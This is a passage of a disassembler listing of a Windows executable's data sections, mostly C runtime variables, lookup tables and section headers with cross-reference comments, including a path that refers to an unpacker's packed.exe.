sub_4186C2:loc_4186FAo ; sub_4186C2+5Bo dword_4DB8D4 dd 0 ; DATA XREF: sub_419A21:loc_419A42r ; sub_419B10+54r ... dword_4DB8D8 dd 0 ; DATA XREF: sub_419A21r ; sub_419B10+37r ... dword_4DB8DC dd 0 ; DATA XREF: sub_419A51+1Ar ; sub_419C65+83o dword_4DB8E0 dd 0 ; DATA XREF: sub_419A21:loc_419A35r ; sub_419C65+11Bw ; char byte_4DB8E4[] byte_4DB8E4 db 34h dup(0) ; DATA XREF: sub_419B10+13o ; sub_419C65:loc_419DA2o ; int dword_4DB918 dword_4DB918 dd 0 ; DATA XREF: sub_419B10+CDr ; sub_419B10+ECr ... align 10h ; char byte_4DB920[] byte_4DB920 db 38h dup(0) ; DATA XREF: sub_41A88C+47o dword_4DB958 dd 0 ; DATA XREF: _strtoxl+1B9w ; _fseek:loc_41D268w ... dword_4DB95C dd 0 ; DATA XREF: sub_41D3BE+35w ; __close:loc_41DB0Cw ... dword_4DB960 dd 0 ; DATA XREF: __sopen+13Ar dword_4DB964 dd 0A28h ; DATA XREF: start+52w dword_4DB968 dd 501h ; DATA XREF: start+49w dword_4DB96C dd 5 ; DATA XREF: start+3Ew dword_4DB970 dd 1 ; DATA XREF: start+30w dword_4DB974 dd 1 ; DATA XREF: WinMain(x,x,x,x):loc_401516r ; __setargv+91w dword_4DB978 dd 920B20h ; DATA XREF: WinMain(x,x,x,x)+2FEr ; WinMain(x,x,x,x)+31Er ... align 10h ; void *dword_4DB980 dword_4DB980 dd 920B48h ; DATA XREF: __setenvp+44w _getenv+9r ... dword_4DB984 dd 0 ; DATA XREF: ___crtsetenv+36r dword_4DB988 dd 0 ; DATA XREF: _getenv+16r ; ___wtomb_environ+4r ... align 10h off_4DB990 dd offset aCM_unpackerPac ; DATA XREF: __setargv+2Ew ; "C:\\m_unpacker\\packed.exe" align 8 byte_4DB998 db 0 ; DATA XREF: _doexit+2Dw ; ___endstdio+5r align 4 dword_4DB99C dd 0 ; DATA XREF: _doexit+27w dword_4DB9A0 dd 0 ; DATA XREF: _doexit+4r _doexit+8Bw dword_4DB9A4 dd 0 ; DATA XREF: _strtok+3Br _strtok+91w dd 0 dword_4DB9AC dd 0 ; DATA XREF: __fpmath+Aw dword_4DB9B0 dd 0 ; DATA XREF: _time+5Er _time+A4w align 8 word_4DB9B8 dw 0 ; DATA XREF: _time+55r _time+9Ao word_4DB9BA dw 0 ; DATA XREF: _time+48r db 2 dup(0) word_4DB9BE dw 0 ; DATA XREF: _time+3Br word_4DB9C0 dw 0 ; DATA XREF: _time+2Er word_4DB9C2 dw 0 ; DATA XREF: _time+21r align 8 ; char *dword_4DB9C8 dword_4DB9C8 dd 0 ; DATA XREF: start+84w ; __setenvp:loc_422EDCr ... align 10h dword_4DB9D0 dd 0 ; DATA XREF: __amsg_exitr ; _fast_error_exitr ... dword_4DB9D4 dd 0 ; DATA XREF: sub_41EB10+4Bw ; sub_41EC29+2Dw ... dword_4DB9D8 dd 0 ; DATA XREF: __callnewhr dword_4DB9DC dd 0 ; DATA XREF: sub_41B202:loc_41B31Er ; sub_41B202:loc_41B43Fr ... dword_4DB9E0 dd 1 ; DATA XREF: __setmbcp:loc_420024r ; _getSystemCP+4w ... dword_4DB9E4 dd 0 ; DATA XREF: __stbuf+37r dd 0 dword_4DB9EC dd 0 ; DATA XREF: __cftoe+11r __cftof+1Ar ... byte_4DB9F0 db 0 ; DATA XREF: __cftoe+3r __cftoe+98r ... align 4 dword_4DB9F4 dd 0 ; DATA XREF: __cftof+11r __cftog+21w ... byte_4DB9F8 db 0 ; DATA XREF: __cftog+51w align 4 dword_4DB9FC dd 0 ; DATA XREF: FindHandler(EHExceptionRecord *,EHRegistrationNode *,_CONTEXT *,void *,_s_FuncInfo const *,uchar,int,EHRegistrationNode *)+4Er ; CallCatchBlock(EHExceptionRecord *,EHRegistrationNode *,_CONTEXT *,_s_FuncInfo const *,void *,int,ulong)+3Ar ... dword_4DBA00 dd 0 ; DATA XREF: FindHandler(EHExceptionRecord *,EHRegistrationNode *,_CONTEXT *,void *,_s_FuncInfo const *,uchar,int,EHRegistrationNode *)+5Cr ; CallCatchBlock(EHExceptionRecord *,EHRegistrationNode *,_CONTEXT *,_s_FuncInfo const *,void *,int,ulong)+43r ... dword_4DBA04 dd 0 ; DATA XREF: _CallSETranslator(EHExceptionRecord *,EHRegistrationNode *,void *,void *,_s_FuncInfo const *,int,EHRegistrationNode *)+7Ar ; FindHandlerForForeignException(EHExceptionRecord *,EHRegistrationNode *,_CONTEXT *,void *,_s_FuncInfo const *,int,int,EHRegistrationNode *)+5r dword_4DBA08 dd 0 ; DATA XREF: sub_42255C+29r dword_4DBA0C dd 2 dup(0) ; DATA XREF: unknown_libname_4+Co ; int dword_4DBA14 dword_4DBA14 dd 0 ; DATA XREF: __strupr+4r __strupr+6Er ... dd 3 dup(0) dword_4DBA24 dd 0 ; DATA XREF: _mbstowcs+61r ; _mbstowcs+BFr ... dd 0 dword_4DBA2C dd 1 ; DATA XREF: ___crtLCMapStringA+28r ; ___crtLCMapStringA+4Cw ... dword_4DBA30 dd 0 ; DATA XREF: __XcptFilter+3Ar ; __XcptFilter+46w ... aCM_unpackerPac db 'C:\m_unpacker\packed.exe',0 ; DATA XREF: __setargv:loc_422F9Ao ; .data:off_4DB990o align 10h dd 3Ah dup(0) dword_4DBB38 dd 1 ; DATA XREF: ___crtGetEnvironmentStringsA+2r ; ___crtGetEnvironmentStringsA+23w ... dword_4DBB3C dd 0 ; DATA XREF: __FF_MSGBANNER+21r dword_4DBB40 dd 0 ; DATA XREF: __openfile+154w ; __stbuf:loc_42046Fw ... dword_4DBB44 dd 0 ; DATA XREF: __openfile+7r dword_4DBB48 dd 1 ; DATA XREF: ___crtGetStringTypeA+26r ; ___crtGetStringTypeA:loc_423D56w align 10h word_4DBB50 dw 0 ; DATA XREF: __fltout+1Ao __fltout+46r byte_4DBB52 db 0 ; DATA XREF: __fltout+39r align 4 dword_4DBB54 dd 7 dup(0) ; DATA XREF: __fltout+52o dword_4DBB70 dd 0 ; DATA XREF: __fltout+40w __fltout+5Co dword_4DBB74 dd 0 ; DATA XREF: __fltout+4Dw dword_4DBB78 dd 0 ; DATA XREF: __fltout+31w dword_4DBB7C dd 0 ; DATA XREF: __fltout+52w ; int (__stdcall *dword_4DBB80)() dword_4DBB80 dd 77C26E79h ; DATA XREF: __CxxUnhandledExceptionFilter(_EXCEPTION_POINTERS *):loc_42472Fr ; __CxxUnhandledExceptionFilter(_EXCEPTION_POINTERS *)+38r ... align 8 dword_4DBB88 dd 0 ; DATA XREF: __tzset+11w __tzset+63w ... align 10h dword_4DBB90 dd 0 ; DATA XREF: __tzset+33o __tzset+46r dword_4DBB94 dd 10h dup(0) ; DATA XREF: __tzset+C1o word_4DBBD4 dw 0 ; DATA XREF: __isindst+A8r word_4DBBD6 dw 0 ; DATA XREF: __tzset+54r __isindst+DBr ... word_4DBBD8 dw 0 ; DATA XREF: __isindst+CAr word_4DBBDA dw 0 ; DATA XREF: __isindst+D3r ; __isindst:loc_424B3Cr word_4DBBDC dw 0 ; DATA XREF: __isindst+C0r word_4DBBDE dw 0 ; DATA XREF: __isindst+B8r word_4DBBE0 dw 0 ; DATA XREF: __isindst+B0r word_4DBBE2 dw 0 ; DATA XREF: __isindst+9Er dword_4DBBE4 dd 0 ; DATA XREF: __tzset+4Br dword_4DBBE8 dd 10h dup(0) ; DATA XREF: __tzset+FBo word_4DBC28 dw 0 ; DATA XREF: __isindst+46r word_4DBC2A dw 0 ; DATA XREF: __tzset:loc_424863r ; __isindst+78r ... word_4DBC2C dw 0 ; DATA XREF: __isindst+67r word_4DBC2E dw 0 ; DATA XREF: __isindst+70r ; __isindst:loc_424ACEr word_4DBC30 dw 0 ; DATA XREF: __isindst+5Dr word_4DBC32 dw 0 ; DATA XREF: __isindst+55r word_4DBC34 dw 0 ; DATA XREF: __isindst+4Dr word_4DBC36 dw 0 ; DATA XREF: __isindst+3Er dword_4DBC38 dd 0 ; DATA XREF: __tzset+80r ; char *dword_4DBC3C dword_4DBC3C dd 0 ; DATA XREF: __tzset+132r ; __tzset:loc_424938r ... dword_4DBC40 dd 0 ; DATA XREF: ___tzsetr ___tzset+Ew dword_4DBC44 dd 0 ; DATA XREF: ___crtMessageBoxA+3r ; ___crtMessageBoxA+2Ew ... dword_4DBC48 dd 0 ; DATA XREF: ___crtMessageBoxA+43w ; ___crtMessageBoxA:loc_424DC7r dword_4DBC4C dd 0 ; DATA XREF: ___crtMessageBoxA+4Aw ; ___crtMessageBoxA+60r dword_4DBC50 dd 0 ; DATA XREF: __sopen+3Fr dword_4DBC54 dd 0 ; DATA XREF: _raise:loc_4259BCr ; _raise+6Do dword_4DBC58 dd 0 ; DATA XREF: _raise:loc_425993r ; _raise+44o dword_4DBC5C dd 0 ; DATA XREF: _raise:loc_425986r ; _raise+37o dword_4DBC60 dd 0 ; DATA XREF: _raise:loc_4259A0r ; _raise+51o align 8 dword_4DBC68 dd 0 ; DATA XREF: ___crtCompareStringA+28r ; ___crtCompareStringA+48w ... dword_4DBC6C dd 0 ; DATA XREF: ___crtLCMapStringW+28r ; ___crtLCMapStringW+4Cw ... dword_4DBC70 dd 0 ; DATA XREF: ___crtGetStringTypeW+26r ; ___crtGetStringTypeW:loc_426C7Dw byte_4DBC74 db 1 ; DATA XREF: unknown_libname_1r ; unknown_libname_1+9w align 4 dword_4DBC78 dd 921110h ; DATA XREF: _flsall:loc_41DC01r ; __getstream+14r ... align 10h dword_4DBC80 dd 400h dup(0) ; DATA XREF: .data:off_43D0C8o ; .data:0043D0D0o ; size_t Size Size dd 200h ; DATA XREF: _flsall+9r _flsall+56r ... dd 7 dup(0) dword_4DCCA0 dd 920650h ; DATA XREF: __filbuf+75r __read+2Ar ... dword_4DCCA4 dd 3Fh dup(0) ; DATA XREF: __ioinit+92o dword_4DCDA0 dd 20h ; DATA XREF: __close+8r __read+Cr ... dword_4DCDA4 dd 4E4h ; DATA XREF: __setmbcp+14r ; __setmbcp+65w ... align 10h dword_4DCDB0 dd 3 dup(0) ; DATA XREF: __setmbcp+123o ; __setmbcp+171o ... dword_4DCDBC dd 0 ; DATA XREF: __setmbcp+108w ; __setmbcp+15Dw ... byte_4DCDC0 db 0 ; DATA XREF: _setSBUpLow:loc_4201F4w ; _setSBUpLow:loc_420211w ... align 4 dd 0Fh dup(0) dd 63626100h, 67666564h, 6B6A6968h, 6F6E6D6Ch, 73727170h dd 77767574h, 7A7978h, 0 dd 43424100h, 47464544h, 4B4A4948h, 4F4E4D4Ch, 53525150h dd 57565554h, 5A5958h, 0 dd 83000000h, 0 dd 9A0000h, 9E009Ch, 2 dup(0) dd 8A0000h, 0FF8E008Ch, 2 dup(0) dd 0AA0000h, 2 dup(0) dd 0B500h, 0BA0000h, 0 dd 0E3E2E1E0h, 0E7E6E5E4h, 0EBEAE9E8h, 0EFEEEDECh, 0F3F2F1F0h dd 0F6F5F4h, 0FBFAF9F8h, 0DFFEFDFCh, 0C3C2C1C0h, 0C7C6C5C4h dd 0CBCAC9C8h, 0CFCECDCCh, 0D3D2D1D0h, 0D6D5D4h, 0DBDAD9D8h dd 9FDEDDDCh byte_4DCEC0 db 0 ; DATA XREF: __setmbcp+5Co ; __setmbcp+AFo ... byte_4DCEC1 db 0 ; DATA XREF: __splitpath+5Dr ; __setmbcp+A0w ... align 4 dd 0Fh dup(0) dd 10100000h, 6 dup(10101010h), 0 dd 20200000h, 6 dup(20202020h), 2 dup(0) dd 20h, 10000000h, 10001000h, 2 dup(0) dd 20000000h, 20002000h, 10h, 0 dd 20000000h, 2 dup(0) dd 200000h, 20000000h, 0 dd 10101000h, 5 dup(10101010h), 10101000h, 10101010h, 6 dup(20202020h) dd 20202000h, 20202020h, 20h dword_4DCFC4 dd 0 ; DATA XREF: __setmbcp+6Ew ; __setmbcp+12Bw ... dword_4DCFC8 dd 0 ; DATA XREF: ___sbh_heap_init+3Cw ; ___sbh_alloc_new_region+5r ... dword_4DCFCC dd 0 ; DATA XREF: sub_41DEA2+23Ar ; sub_41DEA2+25Ar ... dword_4DCFD0 dd 0 ; DATA XREF: ___sbh_heap_init+31w ; sub_41DEA2+311w ... ; void *Dst Dst dd 0 ; DATA XREF: ___sbh_heap_init+21w ; sub_41DEA2+22Dr ... dword_4DCFD8 dd 0 ; DATA XREF: ___sbh_heap_init+28w ; ___sbh_find_blockr ... dword_4DCFDC dd 0 ; DATA XREF: ___sbh_heap_init+15w ; ___sbh_find_block+8r ... dword_4DCFE0 dd 0 ; DATA XREF: sub_41B202+5Cr ; sub_41B513+Fr ... dword_4DCFE4 dd 920000h ; DATA XREF: sub_41B0B1+5Ar ; sub_41B202+C0r ... dword_4DCFE8 dd 1 ; DATA XREF: sub_41B0B1+Cr ; sub_41B202:loc_41B232r ... dword_4DCFEC dd 142340h ; DATA XREF: start+7Aw __wincmdln+Fr ... dword_4DCFF0 dd 1 ; DATA XREF: __setenvp+ADw _getenvr dword_4DCFF4 dd 1 ; DATA XREF: ___initmbctabler ; ___initmbctable+11w ... dword_4DCFF8 dd 92075Ch ; DATA XREF: _doexit+3Er __onexit+13r ... ; void *dword_4DCFFC dword_4DCFFC dd 920758h ; DATA XREF: _doexit+35r _doexit+57r ... _data ends ; Section 4. (virtual address 000DD000) ; Virtual size : 00000018 ( 24.) ; Section size in file : 00000018 ( 24.) ; Offset to raw data for section: 000DD000 ; Flags C0000240: Data Comment Readable Writable ; Alignment : default ; =========================================================================== ; Segment type: Pure data ; Segment permissions: Read/Write _sxdata segment para public 'DATA' use32 assume cs:_sxdata ;org 4DD000h dd 127h, 19Ch, 1DCh, 221h, 233h, 290h _sxdata ends ; Section 5. (virtual address 000DE000) ; Virtual size : 00001000 ( 4096.) ; Section size in file : 00000200 ( 512.) ; Offset to raw data for section: 000DD200 ; Flags C0000040: Data Readable Writable ; Alignment : default ; =========================================================================== ; Segment type: Pure data ; Segment permissions: Read/Write _idata2 segment para public 'DATA' use32 assume cs:_idata2 ;org 4DE000h dd 80h dup(0) align 1000h _idata2 ends end start